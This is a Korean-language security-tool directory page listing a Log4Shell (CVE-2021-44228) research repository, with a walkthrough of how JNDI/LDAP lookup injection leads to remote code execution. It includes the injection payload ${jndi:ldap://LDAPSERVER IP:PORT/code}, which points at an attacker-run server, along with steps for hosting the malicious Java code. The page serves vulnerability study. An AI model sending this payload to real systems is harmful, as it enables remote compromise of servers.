Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2021-44228 — CVE-2021-44228 취약점 연구 | Kitploit
도구/GitHubGitHub/asd58584388/cve-2021-44228
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolPayload Development
GitHubasd58584388/cve-2021-44228

CVE-2021-44228

CVE-2021-44228 취약점 연구

저장소 보기
12년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2021-44228 분석

어떻게 동작하나요?

다음은 log4shell 취약점을 악용한 원격 주입 사례의 상세 과정입니다. 먼저, 알아야 할 3가지 부분이 있습니다:

  1. Log4j2는 메시지 조회 대체(message lookup substitution) 기능을 통해 로그 데이터를 기록할 수 있으며, 로그 메시지에는 다양한 소스에서 동적으로 가져온 데이터가 포함될 수 있습니다. (JNDI Lookup을 지원합니다)

  2. JNDI Lookup: JNDI(Java Naming and Directory Interface) API를 통해 데이터를 가져올 수 있으며, 다양한 디렉터리 서비스와 상호작용할 수 있습니다

  3. LDAP(Lightweight Directory Access Protocol): 주로 네트워크를 통해 디렉터리 정보 서비스에 접근하고 관리하는 데 사용됩니다.


다음은 원격 코드 실행의 간단한 예시입니다:

  1. 해커는 LDAP 서버(LDAP 프로토콜로 접근되며 Java 악성 코드 참조를 보관)와 HTTP 서버(악성 코드가 저장된 곳)를 모두 설정합니다.

    1. 컴파일된 악성 코드가 포함된 디렉터리에 HTTP 서버를 설정합니다:

    2. 참조를 저장하는 LDAP 서버를 설정합니다:

      ldap

  2. 해커는 log4j2가 설치된 소프트웨어 시스템에 악성 입력(${jndi:ldap://LDAPSERVER IP:PORT/code})을 보냅니다

  3. Log4j2는 조회(lookup) 기능을 사용하여 LDAP 서버에 요청을 보냅니다

  4. LDAP 서버는 LDAP 서버에 저장된 Java 코드 참조를 통해 HTTP 서버로 요청을 리디렉션합니다

  5. HTTP 서버는 악성 코드를 소프트웨어 시스템으로 다시 보내고, 소프트웨어 시스템은 악성 코드를 실행합니다.

악성 코드:

악성 코드 실행 성공:


중요:

  1. 원격 코드 실행에 LDAP 서버만 사용할 수 있는 것은 아닙니다. log4j2가 메시지 조회 대체를 성공적으로 수행하고 악성 코드를 실행할 수 있다면 다른 방법(예: RMI)도 사용할 수 있습니다.

  2. Java 버전에 따라 공격 과정이 달라질 수 있습니다 (여기서는 Java 1.8u112를 사용 중입니다).

  3. 악성 코드에서 소프트웨어(log4j2를 사용하는 서버)와 동일한 Java 버전을 사용하거나, 최소한 소프트웨어의 Java 버전보다 높지 않은 버전을 사용하는 것이 좋습니다.

  4. Log4j2의 조회 코드:

도구 다운로드